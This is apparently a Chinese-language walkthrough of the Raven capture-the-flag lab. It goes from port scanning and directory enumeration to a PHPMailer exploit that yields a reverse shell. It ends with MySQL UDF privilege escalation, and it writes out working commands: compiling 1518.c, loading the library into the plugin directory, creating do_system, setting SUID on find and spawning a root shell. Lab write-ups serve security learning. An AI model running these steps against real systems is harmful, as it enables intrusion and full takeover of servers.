信息收集
靶机地址信息

首先探测到靶机的ip,然后进行端口扫描

获得以下四个端口
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
52208/tcp open status 1 (RPC #100024)
web端信息收集

/vendor 网站资源目录
/concat.php 邮件收发页面
/wordpress/wp-login.php wordpress登录页面

访问也确实如此。依次遍历最终在PATH中找到flag1
/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
ps:登录wordpress时会跳转到http://raven.local/wordpress/wp-login.php页面报错,这里只要配置一下hosts文件,本地路由解析就行了


接着在/vendor目录下的README.md中找到phpmailer以及VERSION中的版本号,猜测存在相应的漏洞,使用工具测试一下

searchsploit:漏洞查找工具(kali自带)
漏洞利用
searchsploit自带poc:
使用kali中自带的攻击脚本

这里要稍作修改,具体如上图所示,然后执行该脚本,开启监听,让后去访问http://192.168.247.132/1.php触发反弹shell。接着再使用python命令获取完整的shell。执行该命令后,获得与直接在服务器上登录相同的体验。如果不执行该命令,后续mysql登录不进去
python -c 'import pty; pty.spawn("/bin/bash")'

之所以将target修改为contact.php是因为wordpress的wp页面默认是没有邮件功能的,而最开始的目录探测中找到邮件收发对应的页面




使用find命令找到flag3,是在上传的文件里面,只在访问该文件找到第三个flag

msf
search phpmailer 5.2
查询对应版本的漏洞

进去后默认是没有配置的,需要我们手动添加,如set WEB_ROOT /var/www/html,主要就是配置一下RHOSTS,TARGETURI,WEB_ROOT

这里测试了一下没有跑通,就不展示了
提权
在wordpress目录下查看wp-config.php文件发现数据库用户名和密码

登录之后查看数据库信息

查看权限发现数据库是root权限,考虑能否udf提权

show global variables like 'secure%';
如果值为null则无法进行提权

show variables like '%plugi%';
目录为:/usr/lib/mysql/plugin/

select user,host from mysql.user;
接着查看是否可以远程连接发现root用户不允许远程连接,所以不考虑msf提权
udf提权:

查找相关利用脚本1518.c,定位到该脚本后,先后进行编译文件和开启本地http服务
gcc -g -c 1518.c
gcc -g -shared -o exp.so 1518.o -lc
python -m http.server 8888
使用wget命令下载kali上的so文件,存放在/tmp目录下
use mysql;
create table exp(line blob);#创建exp表
insert into exp values(load_file('/tmp/exp.so'));#在exp表中插入刚刚下载的raven.so文件
select * from exp into dumpfile '/usr/lib/mysql/plugin/exp.so';#用dumpfile导出到插件plugin 库
create function do_system returns integer soname 'exp.so';#自定义函数do_sysytem
select * from mysql.func; #查看是否写入成功
select do_system('chmod u+s /usr/bin/find');#do_system写入最高权限到bin目录,用的是find命令,意思是执行任何find的命令都会得到一个
root权限


然后退出数据库

find exp -exec "/bin/sh" \;#执行find命令提权
